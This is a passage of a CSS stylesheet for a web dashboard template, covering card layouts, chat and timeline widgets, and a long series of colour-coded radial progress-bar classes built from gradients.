margin: 30px 0 10px; padding-top: 30px; } .user-card .user-sub-img > img { width: 30px; cursor: pointer; margin: 5px; } .user-card .user-sub-img:after { content: ""; width: 30px; height: 1px; background: #2b2b2b; position: absolute; top: 0; right: calc(50% - 15px); } .user-card .f-btn { cursor: pointer; transition: all 0.3s ease-in-out; } .user-card .f-btn a { transition: all 0.3s ease-in-out; } .user-card .f-btn:hover { background-color: #99caff; box-shadow: inset 0 5px 7px -3px rgba(43, 43, 43, 0.15); } .user-card .f-btn:hover a { color: #007bff; } .soc-cont-card { color: #fff; position: relative; overflow: hidden; } .soc-cont-card .soc-slider { margin-right: 85px; } .soc-cont-card .soc-cont-icon { color: #fff; font-size: 50px; width: 100px; text-align: center; position: absolute; right: 0; top: 20px; } .soc-cont-card .num-block { background: #fff; color: #ef4153; padding: 8px 15px; display: inline-block; margin: 5px 0 10px; border-radius: 5px; box-shadow: inset 0 1px 3px -1px rgba(43, 43, 43, 0.25); } .soc-cont-card .num-block + .num-block { margin-left: 15px; } .soc-cont-card .num-block i { font-size: 16px; opacity: 1; } .soc-cont-card .card-block { margin-bottom: 20px; padding-bottom: 10px; } .soc-cont-card:after { content: ""; background: rgba(255, 255, 255, 0.5); height: 20px; width: 100%; position: absolute; bottom: 0; left: 0; } @media only screen and (max-width: 575px) { .soc-cont-card .soc-slider { margin-right: 0; } .soc-cont-card .soc-cont-icon { font-size: 40px; width: 50px; top: auto; bottom: 35px; } } .st-cir-card { position: relative; overflow: hidden; } .st-cir-card .st-bt-lbl { font-size: 60px; font-weight: 700; opacity: 0.3; position: absolute; bottom: -30px; right: -5px; } .st-cir-card .st-cir-chart { position: relative; } .st-cir-card .st-cir-chart h5 { position: absolute; margin-bottom: 0; top: 50%; left: 50%; transform: translate(-50%, -50%); } .st-cir-card .ct-series-a .ct-slice-donut { stroke: #fff; } .st-cir-card.card-red .ct-series-b path { stroke: #fa97ab; } .st-cir-card.card-blue .ct-series-b path { stroke: #66b0ff; } .st-cir-card.card-green .ct-series-b path { stroke: #7ee3b8; } .st-cir-card.card-yellow .ct-series-b path { stroke: #fdb5a4; } .prod-bar-card .pbc-chart { width: 50px; margin: 0 auto 10px; } .prod-bar-card .radial-bar:after { box-shadow: 0 0 3px #fff; } .sale-card .s-chart { position: relative; } .sale-card .s-chart .bottom-line { background: #ccc; position: absolute; width: 80px; height: 3px; bottom: 30px; left: 50%; transform: translatex(-50%); } .sale-card .radial-bar { margin: 15px 0 35px; } .sale-card .radial-bar > img { box-shadow: 0 0 0 8px #fff; } .sale-card .s-caption { width: 20px; height: 20px; border-radius: 5px; display: inline-block; vertical-align: super; margin-right: 5px; } .sale-card .progress { height: 5px; } .sale-card .tot-rev-chart { position: relative; margin: 0 auto; } .sale-card .tot-rev-chart .ct-series-b path { stroke: #fff; } .sale-card .tot-rev-chart .ct-series-a .ct-slice-donut { stroke: #fb6340; } .sale-card .tot-rev-chart h3 { position: absolute; margin-bottom: 0; top: 50%; left: 50%; transform: translate(-50%, -50%); } .new-cust-card img { border: 2px solid #fff; box-shadow: 0 5px 10px 0 rgba(43, 43, 43, 0.2); } .new-cust-card h6 { margin-bottom: 0; } .new-cust-card .align-middle { position: relative; } .new-cust-card .align-middle .status { position: absolute; right: 0; top: 19px; font-size: 13px; } .new-cust-card .align-middle .status.active { width: 10px; height: 10px; border-radius: 50%; background: #2dce89; } .table-card .card-block { padding-left: 0; padding-right: 0; padding-top: 0; } .table-card .card-block .table > thead > tr > th { border-top: 0; } .table-card .card-block .table tr td:first-child, .table-card .card-block .table tr th:first-child { padding-left: 20px; } .table-card .card-block .table tr td:last-child, .table-card .card-block .table tr th:last-child { padding-right: 20px; } .table-card .card-block .table.without-header tr:first-child td { border-top: none; } .table-card .p-status { width: 10px; height: 10px; border-radius: 50%; } .latest-update-card .card-block { padding-top: 0; } .latest-update-card .card-block .latest-update-box { position: relative; } .latest-update-card .card-block .latest-update-box:after { content: ""; position: absolute; background: #ebebeb; height: 100%; width: 3px; top: 0; left: 19px; z-index: 1; } .latest-update-card .card-block .latest-update-box .update-meta { z-index: 2; } .latest-update-card .card-block .latest-update-box .update-meta .update-icon { width: 30px; height: 30px; border-radius: 50%; text-align: center; padding: 7px 8px; font-size: 16px; color: #fff; } .latest-update-card .card-block .latest-update-box .update-meta .update-icon.bg-red { box-shadow: 0 0 0 4px rgba(245, 54, 92, 0.5); } .latest-update-card .card-block .latest-update-box .update-meta .update-icon.bg-blue { box-shadow: 0 0 0 4px rgba(0, 123, 255, 0.5); } .latest-update-card .card-block .latest-update-box .update-meta .update-icon.bg-green { box-shadow: 0 0 0 4px rgba(45, 206, 137, 0.5); } .latest-update-card .card-block .latest-update-box .update-meta .update-icon.bg-yellow { box-shadow: 0 0 0 4px rgba(251, 99, 64, 0.5); } .latest-update-card .card-block .latest-update-box .update-meta .update-icon.ring { border-width: 3px; width: 15px; height: 15px; padding: 0; display: block; margin-left: 13px; background: #fff; } .latest-update-card .card-block .latest-update-box .update-meta i.update-icon { margin-left: 4px; margin-right: 19px; } .latest-update-card .card-block .latest-update-box .update-meta img.update-icon { padding: 0; width: 40px; height: 40px; } @media only screen and (max-width: 575px) { .latest-update-card .card-block .latest-update-box:after { display: none; } .latest-update-card .card-block .latest-update-box .update-meta { z-index: 2; min-width: 100%; text-align: left !important; margin-bottom: 15px; border-top: 1px solid #f1f1f1; padding-top: 15px; } } .testimonial-card .progress { height: 5px; } .testimonial-card .review-block .cust-img { width: 50px; height: 50px; } .testimonial-card .review-block > div { padding-top: 15px; padding-bottom: 15px; margin-left: 0; margin-right: 0; padding-left: 5px; padding-right: 5px; } .testimonial-card .review-block > div:hover { background-color: rgba(0, 123, 255, 0.1); } .feed-card h6 { margin-top: 7px; } .feed-card .feed-icon { color: #fff; border-radius: 50%; width: 30px; height: 30px; text-align: center; padding: 8px 9px; } .chat-card .msg { margin-bottom: 5px; display: inline-block; padding: 10px; position: relative; } .chat-card .msg img { width: 60px; border-radius: 5px; margin-bottom: 5px; margin-top: 5px; margin-right: 10px; } .chat-card .received-chat .msg { background: rgba(0, 123, 255, 0.1); border-radius: 0 5px 5px 5px; box-shadow: 2px 3px 7px 0 rgba(43, 43, 43, 0.15); } .chat-card .received-chat .msg:after { content: ""; position: absolute; left: -7px; top: -7px; transform: rotate(45deg); border: 7px solid transparent; border-bottom-color: rgba(0, 123, 255, 0.1); } .chat-card .send-chat { text-align: right; } .chat-card .send-chat .msg { background: rgba(45, 206, 137, 0.1); border-radius: 5px 0 5px 5px; box-shadow: -2px 3px 7px 0 rgba(43, 43, 43, 0.15); } .chat-card .send-chat .msg:after { content: ""; position: absolute; right: -7px; top: -7px; transform: rotate(45deg); border: 7px solid transparent; border-right-color: rgba(45, 206, 137, 0.1); } /* ------------------------------------- * Bar container * ------------------------------------- */ .radial-bar { position: relative; display: inline-block; border-radius: 50%; background-color: transparent; margin-bottom: 20px; -webkit-box-sizing: content-box; -moz-box-sizing: content-box; box-sizing: content-box; width: 80px; height: 80px; font-size: 18px; } .radial-bar:after, .radial-bar > img { display: inline-block; position: absolute; top: 0; left: 0; border-radius: 50%; text-align: center; font-weight: 500; color: #455a64; } .radial-bar:after { content: attr(data-label); background-color: #fff; z-index: 55; } .radial-bar > img { z-index: 102; } .radial-bar:after, .radial-bar > img { width: 56px; height: 56px; margin-left: 12px; margin-top: 12px; line-height: 56px; } .radial-bar.radial-bar-0 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-5 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-10 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-15 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-20 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-25 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-30 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-35 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-40 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-45 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-50 { background-image: linear-gradient(270deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-55 { background-image: linear-gradient(288deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-60 { background-image: linear-gradient(306deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-65 { background-image: linear-gradient(324deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-70 { background-image: linear-gradient(342deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-75 { background-image: linear-gradient(360deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-80 { background-image: linear-gradient(378deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-85 { background-image: linear-gradient(396deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-90 { background-image: linear-gradient(414deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-95 { background-image: linear-gradient(432deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-100 { background-image: linear-gradient(450deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-0 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-5 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-10 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-15 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-20 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-25 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-30 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-35 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-40 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-45 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-50 { background-image: linear-gradient(270deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-55 { background-image: linear-gradient(288deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-60 { background-image: linear-gradient(306deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-65 { background-image: linear-gradient(324deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-70 { background-image: linear-gradient(342deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-75 { background-image: linear-gradient(360deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-80 { background-image: linear-gradient(378deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-85 { background-image: linear-gradient(396deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-90 { background-image: linear-gradient(414deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-95 { background-image: linear-gradient(432deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-100 { background-image: linear-gradient(450deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-0 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-5 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-10 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-15 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-20 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-25 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-30 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-35 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-40 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-45 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-50 { background-image: linear-gradient(270deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-55 { background-image: linear-gradient(288deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-60 { background-image: linear-gradient(306deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-65 { background-image: linear-gradient(324deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-70 { background-image: linear-gradient(342deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-75 { background-image: linear-gradient(360deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-80 { background-image: linear-gradient(378deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-85 { background-image: linear-gradient(396deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-90 { background-image: linear-gradient(414deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-95 { background-image: linear-gradient(432deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-100 { background-image: linear-gradient(450deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-0 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-5 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-10 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-15 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-20 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-25 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-30 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-35 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-40 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-45 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-50 { background-image: linear-gradient(270deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-55 { background-image: linear-gradient(288deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-60 { background-image: linear-gradient(306deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-65 { background-image: linear-gradient(324deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-70 { background-image: linear-gradient(342deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-75 { background-image: linear-gradient(360deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-80 { background-image: linear-gradient(378deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-85 { background-image: linear-gradient(396deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-90 { background-image: linear-gradient(414deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-95 { background-image: linear-gradient(432deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-100 { background-image: linear-gradient(450deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-0 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-5 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-10 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-15 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-20 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-25 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-30 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-35 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-40 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-45 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-50 { background-image: linear-gradient(270deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-55 { background-image: linear-gradient(288deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-60 { background-image: linear-gradient(306deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-65 { background-image: linear-gradient(324deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-70 { background-image: linear-gradient(342deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-75 { background-image: linear-gradient(360deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-80 { background-image: linear-gradient(378deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-85 { background-image: linear-gradient(396deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-90 { background-image: linear-gradient(414deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-95 { background-image: linear-gradient(432deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-100 { background-image: linear-gradient(450deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-0 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-5 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-10 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-15 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-20 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-25 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-30 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-35 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-40 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-45 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-50 { background-image: linear-gradient(270deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-55 { background-image: linear-gradient(288deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-60 { background-image: linear-gradient(306deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-65 { background-image: linear-gradient(324deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-70 { background-image: linear-gradient(342deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-75 { background-image: 